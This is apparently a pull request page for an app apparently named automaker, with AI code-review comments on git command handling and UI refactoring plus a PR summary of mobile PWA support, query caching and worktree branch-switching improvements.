- Around line 41-73: Confirm that execGitCommand (used in runRebase) accepts a
third "env/options" argument and actually forwards LC_ALL to the child process;
if its signature is only (args, cwd) update either the call site in runRebase to
use the correct options shape expected by execGitCommand (e.g., pass { env: {
...process.env, LC_ALL: 'C' }, cwd: worktreePath } or the library's options
object) or change execGitCommand implementation to accept and forward an
options/env parameter to child_process.spawn/exec; ensure the LC_ALL setting is
applied so text-based conflict detection works as intended.
- Around line 8-11: The import of getConflictFiles from `@automaker/git-utils` may
fail if that symbol is not exported; check the git-utils package (e.g., its
public barrel like index.ts or package export map) for an export of
getConflictFiles and if missing add and export the implementation (or re-export
it from its module) so that getConflictFiles is part of the package public API;
after adding the export, update TypeScript types/exports, run the
build/typecheck and adjust the import in rebase-service.ts only if the correct
exported name differs from getConflictFiles.
---
Nitpick comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 832-836: The image directory is recomputed redundantly; instead of
rebuilding it with path.join(...) near the if (imagePaths.length > 0) block,
derive the directory from the existing imagePaths or from the return value of
writeImageFiles so only one canonical location is used. Update the logic around
imagePaths / writeImageFiles and the preExecArgs push (using CODEX_ADD_DIR_FLAG)
so you compute imageDir once (e.g., path.dirname(imagePaths[0]) or the
writeImageFiles result) and reuse that variable when calling
preExecArgs.push(CODEX_ADD_DIR_FLAG, imageDir); remove the duplicated
path.join(...) expression and any assumptions about the directory structure in
the second place.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 205-252: The opts parameter's inline type uses an index signature
([key: string]: unknown) that widens all named properties to unknown, forcing
casts where opts is used (e.g., in agentExecutor.execute). Replace the inline
type for opts with an intersection of the concrete prop shape and Record<string,
unknown> (or declare an interface like AutoModeOpts extends Record<string,
unknown> { planningMode?: PlanningMode; requirePlanApproval?: boolean;
previousContent?: string; systemPrompt?: string; autoLoadClaudeMd?: boolean;
thinkingLevel?: ThinkingLevel; branchName?: string | null; }) so named
properties keep their declared types; then remove the redundant `as` casts when
passing opts.planningMode, opts.requirePlanApproval, opts.previousContent,
opts.systemPrompt, opts.autoLoadClaudeMd, opts.thinkingLevel, and
opts.branchName into agentExecutor.execute.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 918-981: Extract the duplicated stage/unstage button/spinner JSX
into a new reusable component (e.g., FileStagingControls) and replace the
duplicated blocks in FileDiffSection and the fallback block in git-diff-panel
with it; the new FileStagingControls should accept props like path (string),
stagingState (return type of getStagingState), stagingInProgress (Set or
lookup), onStage (handleStageFile), onUnstage (handleUnstageFile) and any UI
flags (e.g., enableStaging) and internally render the Spinner, Stage and Unstage
Buttons with the same classes/props so behavior and accessibility remain
identical. Ensure imports/exports are updated and that both FileDiffSection and
the fallback in git-diff-panel pass file.path and stagingState (from
getStagingState(file)) to the new component and remove the duplicated JSX.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 82-108: fetchBranches currently only logs errors (logger.error) so
failures leave the UI empty with no feedback; update the catch block in
fetchBranches to surface the error to users by both invoking the app's
notification/toast API (e.g., showToast/enqueueSnackbar) with a concise message
and by setting a new local state (e.g., branchFetchError via useState) so the
CreateBranchDialog can render an inline error message next to the branch list
and enable the existing Refresh button to retry by calling fetchBranches again;
ensure you still call setIsLoadingBranches(false) in finally and keep
setBranches untouched on success.
|
@coderabbitai review |
Summary
This PR delivers a comprehensive set of mobile PWA improvements, performance enhancements, and several worktree workflow improvements built on top of v0.15.0.
📱 Mobile PWA Support
manifest.jsonand an optimizedsw.jsservice worker for PWA support. The SW implements a three-tier cache strategy (shell assets, immutable hashed assets, API responses) for instant loading on mobile. Cache names are automatically busted on new builds via a ViteswCacheBusterplugin.mobile-detect.tsutility to reliably detect mobile/touch devices and drive all mobile-specific behavior.useVirtualKeyboardResizehook adjusts layout when the software keyboard appears, preventing the terminal and board from being obscured.useMobileVisibilityanduseMobileOnlineManagerhooks prevent React Query from firing a "refetch storm" when the user switches back to the app from another mobile app. Includes a 1.5s grace period for focus, and a 30s background threshold before throttling reconnection.⚡ App Load Performance (Tab Discard Recovery)
@tanstack/react-query-persist-clientwith anidb-keyvalIndexedDB persister (query-persist.ts). The query cache now survives tab discards and page reloads; data is shown instantly while fresh data loads in the background.ui-cache-store.ts(Zustand + localStorage) persists critical UI state (sidebar, project selection, collapsed sections) for instant visual continuity on restore.__APP_BUILD_HASH__is injected at build time and used as the IDBbusterkey, so stale caches from old deployments are automatically discarded.*.lazy.tsx) for faster initial load.🔀 Worktree Workflow Improvements
/commitendpoint now accepts an optionalfiles[]array and stages only those files before committing.discard-worktree-changes-dialog.tsxlets users preview per-file diffs and selectively discard changes. Supports full or partial discard with path traversal protection on the backend./switch-branchendpoint now automatically stashes uncommitted changes (including untracked files) before switching, then re-applies them withgit stash popafter. If stash pop produces conflicts, the UI receives aconflictssignal so it can create a resolution task. Also adds support for remote tracking branch checkout (e.g.,origin/feature→ creates a local tracking branch).🔧 Server & Type Safety Fixes
recovery-service.tsnow cross-references saved execution state to find features that were running before a restart but have already been reconciled toready/backlogbyreconcileAllFeatureStates()at startup. These are now correctly offered for resumption.geminiCLI path discovery usingwhich/wherebefore falling back tofind.zai-usage-service.tswith more robust fetch timeouts, credential caching, and path resolution improvements.nullfor the primary branch, so the coordinator no longer also tried to normalize'main'→null(which would have broken explicitmainbranch worktrees).PageTransitionEventandAPP_BUILD_HASHto the UI ESLint global config to silence false-positive no-undef errors.🧪 Tests
recovery-servicecovering the new execution-state-aware resume logic.switch-branchroute tests to cover auto-stash and conflict scenarios.Test Plan
🤖 Generated with Claude Code
Summary by CodeRabbit
New Features
New Dialogs
Enhancements